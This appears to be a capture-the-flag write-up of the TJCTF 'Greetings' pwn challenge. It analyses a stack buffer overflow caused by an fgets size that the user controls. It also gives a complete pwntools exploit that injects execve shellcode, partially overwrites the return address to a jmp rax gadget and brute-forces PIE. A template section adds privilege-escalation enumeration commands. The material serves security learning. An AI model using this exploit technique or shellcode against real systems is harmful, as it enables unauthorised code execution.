Greetings
Greetings
Platform: Tjctf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-15 | Status: Solved Techniques: fgets_size_overflow, partial_return_address_overwrite, pie_brute_force, rax_register_preservation, shellcode_injection
Summary
Task: 64-bit PIE ELF with executable stack and no canary; user controls fgets size causing stack buffer overflow. Solution: inject shellcode in buffer, skip printf to preserve RAX (buffer pointer from fgets), partial-overwrite return address to jmp rax gadget with 1/16 PIE brute force.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
tjctf| ID:20260515_tjctf_greetings - Tags: stack_overflow, pie, x86_64, shellcode, rwx, partial_overwrite, fgets, no_canary, executable_stack, jmp_rax
- Indicators: user-controlled size parameter passed to fgets, stack is executable (RWX segments, missing GNU_STACK), no stack canary, conditional printf — one code path preserves RAX from fgets return
- Source:
20260515_tjctf_greetings.md
Foothold
Vulnerability / Misconfiguration
- Fgets_size_overflow
- Partial_return_address_overwrite
- Pie_brute_force
- Rax_register_preservation
- Shellcode_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- fgets_size_overflow
- partial_return_address_overwrite
- pie_brute_force
- rax_register_preservation
- shellcode_injection
- Tags: stack_overflow, pie, x86_64, shellcode, rwx, partial_overwrite, fgets, no_canary, executable_stack, jmp_rax
Original Writeup
<details><summary>Click to expand original content</summary>Description
Greetings from TJ to you. Find the exploit, yes please do. Remote:
nc tjc.tf 31373
We are given a 64-bit PIE ELF binary with source code. The program asks for a username size and a username, then greets the user if the name starts with @. The binary has an executable stack, no canary, and partial RELRO. A provided libc (Ubuntu GLIBC 2.42) and loader are included.
Analysis
Source Code
void greetUser() {
int uname_size;
char uname[64];
printf("Enter the size of your username: ");
scanf("%d", &uname_size);
getchar();
uname_size += 2;
printf("Enter username (start with @): ");
fgets(uname, uname_size, stdin);
if (*(char *) uname == '@') {
printf("Greetings to you: %s!", uname);
}
}
Vulnerability
The user controls uname_size via scanf("%d"). After +2 is added, this value is passed directly to fgets(uname, uname_size, stdin). Since uname is only 64 bytes on the stack, providing a large size causes a classic stack buffer overflow past saved registers and the return address. No stack canary protects the function.
Binary Protections
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
The executable stack (RWX) is the critical enabler — shellcode injection is viable.
Stack Layout
From disassembly of greetUser:
greetUser:
pushq %rbx ; save RBX
subq $0x50, %rsp ; allocate 0x50 = 80 bytes
rsp+0x0c: uname_size (4 bytes, int)
rsp+0x10: uname[64] (64-byte buffer)
rsp+0x50: saved RBX (8 bytes)
rsp+0x58: return address (8 bytes) -> main+9 = PIE_base + 0x1089
Offsets from uname buffer start:
- Saved RBX: offset 64 (0x40)
- Return address: offset 72 (0x48)
Key Gadgets
jmp raxat PIE offset0x10dfcall raxat PIE offset0x1010- No
jmp rsporcall rspgadgets available
The RAX Insight
The flag itself is a hint: "rAx h01ds r3t v@lS" = "RAX holds ret vals".
There are two code paths in greetUser:
- If
uname[0] == '@'(0x40):printf("Greetings to you: %s!", uname)is called, which clobbers RAX with printf's return value. - If
uname[0] != '@': printf is skipped, and RAX still holds the return value from fgets — which is the pointer to theunamebuffer on the stack.
So if we put shellcode in the buffer and DON'T start with @, RAX points to our shellcode when greetUser returns.
Solution
Strategy: Single-pass shellcode + partial overwrite to jmp rax
Since RAX holds the buffer pointer (when printf is skipped), we need to redirect execution to jmp rax (PIE offset 0x10df). The original return address is PIE_base + 0x1089 (main+9).
The Partial Overwrite Trick
Both addresses are in the 0x10XX range of the PIE image. We only need to change byte[0] of the return address from 0x89 to 0xdf.
However, fgets always null-terminates after the last byte written. If we write 73 bytes (64 buffer + 8 saved_RBX + 1 byte for return_addr[0]), the null terminator lands at return_addr[1], overwriting it with 0x00.
This works when PIE_base & 0xF000 == 0xF000 (lowest page nibble = 0xF):
- Original return addr bytes (LE):
[0x89, 0x00, ...]— byte[1] is already0x00due to the carry from0xF000 + 0x1089 = 0x10089 - After overwrite:
[0xdf, 0x00, ...]=PIE_base + 0x10df=jmp rax✓
Probability: 1/16 — need the lowest page nibble of PIE base to be 0xF.
Payload Layout (73 bytes total)
[0-22]: shellcode — execve("/bin/sh", NULL, NULL), 23 bytes
[23-63]: NOP sled (0x90 × 41)
[64-71]: junk 'B' × 8 (overwrites saved RBX, don't care)
[72]: 0xdf (overwrites return_addr byte[0])
--- fgets null-terminates here at byte 73 = return_addr[1] ---
Shellcode constraints:
- No null bytes (0x00) — fgets stops on null
- No newline (0x0a) — fgets stops on newline
- First byte must NOT be 0x40 (
@) — need to skip printf to preserve RAX
Execution Flow
- Send size
72→+2 = 74→fgetsreads up to 73 bytes - Send 73-byte payload: shellcode + NOP sled + junk RBX +
0xdf uname[0] != '@'→ printf skipped → RAX = pointer to uname buffergreetUserepilogue:addq $0x50, %rsp; popq %rbx; retqretqpops the partially-overwritten address → jumps tojmp rax(PIE_base + 0x10df)jmp rax→ jumps to buffer → shellcode executes → shell!
Working Exploit
#!/usr/bin/env python3
"""
Exploit for TJCTF Greetings
Single-pass: shellcode + partial overwrite to jmp rax (1/16 brute force)
Key insight: when uname[0] != '@', printf is skipped and RAX still holds
the fgets return value = pointer to the uname buffer on the stack.
Overwrite return_addr byte[0] to 0xdf -> jmp rax gadget at PIE+0x10df.
Works when PIE_base & 0xF000 == 0xF000 (prob 1/16).
"""
from pwn import *
import sys
import time
context.arch = 'amd64'
context.log_level = 'warn'
# execve("/bin/sh", NULL, NULL) — 23 bytes, no nulls, no 0x0a, no 0x40
shellcode = bytes([
0x48, 0x31, 0xf6, # xor rsi, rsi
0x48, 0xf7, 0xe6, # mul rsi (rax=rdx=0)
0x56, # push rsi (null terminator for string)
0x48, 0xbb, # movabs rbx, "//bin/sh"
0x2f, 0x2f, 0x62, 0x69,
0x6e, 0x2f, 0x73, 0x68,
0x53, # push rbx
0x54, # push rsp
0x5f, # pop rdi (rdi = pointer to "//bin/sh")
0xb0, 0x3b, # mov al, 59 (syscall number for execve)
0x0f, 0x05, # syscall
])
assert b'\x00' not in shellcode, "Shellcode contains null bytes!"
assert b'\x0a' not in shellcode, "Shellcode contains newline!"
assert shellcode[0] != 0x40, "Shellcode starts with '@'!"
def try_exploit(host, port):
try:
p = remote(host, port, timeout=5)
# Build payload: 73 bytes total
payload = shellcode # [0-22]: shellcode (23 bytes)
payload += b'\x90' * (64 - len(shellcode)) # [23-63]: NOP sled
payload += b'B' * 8 # [64-71]: overwrite saved RBX
payload += b'\xdf' # [72]: return_addr[0] = 0xdf
p.recvuntil(b'Enter the size of your username: ', timeout=3)
p.sendline(b'72') # +2 = 74, fgets reads up to 73 bytes
p.recvuntil(b'Enter username (start with @): ', timeout=3)
p.send(payload) # No newline — fgets reads exactly 73 bytes
time.sleep(0.3)
p.sendline(b'echo PWNED')
response = p.recv(timeout=1.5)
if b'PWNED' in response:
log.success("Got shell!")
p.sendline(b'cat /flag* /home/*/flag* /srv/flag* ./flag* 2>/dev/null')
time.sleep(0.5)
flag_output = p.recv(timeout=2).decode(errors='ignore')
print(f"Flag: {flag_output}")
p.interactive()
return True
p.close()
return False
except Exception:
return False
def main():
host = sys.argv[1] if len(sys.argv) > 1 else 'tjc.tf'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 31373
print(f"Target: {host}:{port}")
print("Brute forcing PIE (need lowest page nibble = 0xF, prob 1/16)\n")
for attempt in range(1, 201):
if attempt % 5 == 0:
print(f"Attempt {attempt}...")
if try_exploit(host, port):
print(f"\nSuccess after {attempt} attempts!")
break
time.sleep(0.05)
else:
print(f"Failed after 200 attempts")
if __name__ == '__main__':
main()
Failed Approaches
-
Two-byte partial overwrite (
\xdf\x50) — An earlier attempt tried overwriting two bytes of the return address, but misunderstood the partial overwrite math. The null terminator at byte[2] always corrupts the address, reducing probability to ~1/4096 instead of 1/16. -
Leaking stack addresses via printf — fgets always null-terminates after the last written byte, which blocks any leak of data beyond the written region. You cannot leak saved RBX or the return address without overwriting them first.
-
3000+ brute force attempts with wrong approach — The incorrect 2-byte overwrite had ~1/4096 probability, making even 3000 attempts insufficient. The correct 1-byte overwrite at 1/16 typically succeeds within 20-30 attempts.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR